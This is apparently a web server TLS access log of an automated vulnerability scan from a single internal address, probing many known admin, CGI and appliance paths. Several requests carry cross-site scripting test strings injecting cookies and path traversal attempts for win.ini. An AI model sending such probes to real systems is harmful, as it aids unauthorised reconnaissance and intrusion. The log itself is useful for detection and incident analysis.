[30/Apr/2022:06:32:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /SE/EMC_SE.swf HTTP/1.1" 196
[30/Apr/2022:06:32:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /RSAarcher/Default.aspx HTTP/1.1" 196
[30/Apr/2022:06:32:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /RSAarcher/Default.asp HTTP/1.1" 196
[30/Apr/2022:06:32:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /dtlt/home.html HTTP/1.1" 196
[30/Apr/2022:06:32:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /web/ HTTP/1.1" 196
[30/Apr/2022:06:32:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /cgi-bin/mainfunction.cgi HTTP/1.1" 196
[30/Apr/2022:06:32:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /TQ7Oy8O0.ashx HTTP/1.1" 196
[30/Apr/2022:06:32:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/FormMail.cgi HTTP/1.1" 196
[30/Apr/2022:06:32:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /aLaIgWmj.aspx HTTP/1.1" 196
[30/Apr/2022:06:32:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /QhIFwUds.asmx HTTP/1.1" 196
[30/Apr/2022:06:32:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /NnPRqI3p.ashx HTTP/1.1" 196
[30/Apr/2022:06:32:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /zkNVK93H.rem HTTP/1.1" 196
[30/Apr/2022:06:32:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /J7ZG5ID0.aspx HTTP/1.1" 196
[30/Apr/2022:06:32:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /tw7zEVmu.soap HTTP/1.1" 196
[30/Apr/2022:06:32:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /FXcbeHsw.asmx HTTP/1.1" 196
[30/Apr/2022:06:32:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /syslog.htm HTTP/1.1" 196
[30/Apr/2022:06:32:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "OPTIONS * HTTP/1.1" -
[30/Apr/2022:06:32:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /lM01wYU2.aspx HTTP/1.1" 196
[30/Apr/2022:06:32:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /devinfo.xml HTTP/1.1" 196
[30/Apr/2022:06:32:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /servlet/UDataArea?plugin=com.dell.oma.webplugins.AboutWebPlugin HTTP/1.1" 196
[30/Apr/2022:06:32:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /UDataArea?plugin=com.dell.oma.webplugins.AboutWebPlugin HTTP/1.1" 196
[30/Apr/2022:06:32:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /about HTTP/1.1" 196
[30/Apr/2022:06:32:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/guestbook.cgi HTTP/1.1" 196
[30/Apr/2022:06:32:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /CVS/Entries HTTP/1.1" 196
[30/Apr/2022:06:32:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /common/about.php HTTP/1.1" 196
[30/Apr/2022:06:32:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:32:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /crossdomain.xml HTTP/1.1" 196
[30/Apr/2022:06:32:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /rest-service/reviews-v1/versionInfo HTTP/1.1" 196
[30/Apr/2022:06:32:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.html?urlmaskfilter=<script>foo</script> HTTP/1.1" 196
[30/Apr/2022:06:32:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /<script>foo</script> HTTP/1.1" 196
[30/Apr/2022:06:32:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/help.cgi HTTP/1.1" 196
[30/Apr/2022:06:32:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/hi HTTP/1.1" 196
[30/Apr/2022:06:32:56 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/index.cgi HTTP/1.1" 196
[30/Apr/2022:06:33:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/index.pl HTTP/1.1" 196
[30/Apr/2022:06:33:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/index.sh HTTP/1.1" 196
[30/Apr/2022:06:33:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/login.cgi HTTP/1.1" 196
[30/Apr/2022:06:33:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mailit.pl HTTP/1.1" 196
[30/Apr/2022:06:33:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt/mt-check.cgi HTTP/1.1" 196
[30/Apr/2022:06:33:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt/mt-load.cgi HTTP/1.1" 196
[30/Apr/2022:06:33:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt-static/mt-check.cgi HTTP/1.1" 196
[30/Apr/2022:06:33:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /servlet/webacc?User.lang=<script>foo</script> HTTP/1.1" 196
[30/Apr/2022:06:33:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.asp?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.asp?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.aspx?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.aspx?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.pl?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.pl?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.cgi?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.cgi?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.exe?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.exe?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.cfm?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.cfm?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.html?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.html?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.jsp?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.jsp?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.php?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.php?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.php3?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.php3?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.cfc?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.cfc?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.nsf?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.nsf?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.dll?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.dll?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.fts?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.fts?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.jspa?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.jspa?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.kspx?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.kspx?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.mscgi?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.mscgi?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.do?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.do?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.htm?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.htm?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.idc?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.idc?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.x?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /9b8xfo0d.x?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 196
[30/Apr/2022:06:33:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET <script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" 226
[30/Apr/2022:06:33:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/mt-static/mt-load.cgi HTTP/1.1" 196
[30/Apr/2022:06:33:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /?<script>document.cookie=%22testblxp=3618;%22</script> HTTP/1.1" -
[30/Apr/2022:06:33:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 196
[30/Apr/2022:06:33:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET <meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" 226
[30/Apr/2022:06:33:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /?<meta%20http-equiv=Set-Cookie%20content=%22testblxp=3618%22> HTTP/1.1" -
[30/Apr/2022:06:33:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET ..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1" 226
[30/Apr/2022:06:33:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET ..\\..\\..\\..\\..\\..\\winnt\\win.ini HTTP/1.1" 226
[30/Apr/2022:06:33:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/ncbook/book.cgi HTTP/1.1" 196
[30/Apr/2022:06:33:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ConsoleHelp/default.jsp HTTP/1.1" 196
[30/Apr/2022:06:33:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /CFIDE/administrator/settings/version.cfm HTTP/1.1" 196
[30/Apr/2022:06:33:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cmf/login HTTP/1.1" 196
[30/Apr/2022:06:33:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /clientaccesspolicy.xml HTTP/1.1" 196
[30/Apr/2022:06:33:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/printenv HTTP/1.1" 294
[30/Apr/2022:06:33:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /Director HTTP/1.1" 196
[30/Apr/2022:06:33:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /DesktopDirector HTTP/1.1" 196
[30/Apr/2022:06:33:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login HTTP/1.1" 196
[30/Apr/2022:06:33:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /vpn/ HTTP/1.1" 196
[30/Apr/2022:06:33:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /client/ HTTP/1.1" 196
[30/Apr/2022:06:33:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login?redirects=10 HTTP/1.1" 196
[30/Apr/2022:06:33:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ControllerWeb/ HTTP/1.1" 196
[30/Apr/2022:06:33:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/printenv.cgi HTTP/1.1" 196
[30/Apr/2022:06:33:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /vsmc.html HTTP/1.1" 196
[30/Apr/2022:06:33:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:56 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /app/ui/login.jsp HTTP/1.1" 196
[30/Apr/2022:06:33:56 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:57 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ui/faces/Login.xhtml HTTP/1.1" 196
[30/Apr/2022:06:33:57 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.html HTTP/1.1" 196
[30/Apr/2022:06:33:57 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login HTTP/1.1" 196
[30/Apr/2022:06:33:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:33:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /system.xml HTTP/1.1" 196
[30/Apr/2022:06:33:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/quickstore.cgi HTTP/1.1" 196
[30/Apr/2022:06:33:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /getxml HTTP/1.1" 196
[30/Apr/2022:06:34:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login.html HTTP/1.1" 196
[30/Apr/2022:06:34:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login?redirects=10 HTTP/1.1" 196
[30/Apr/2022:06:34:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/search HTTP/1.1" 196
[30/Apr/2022:06:34:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
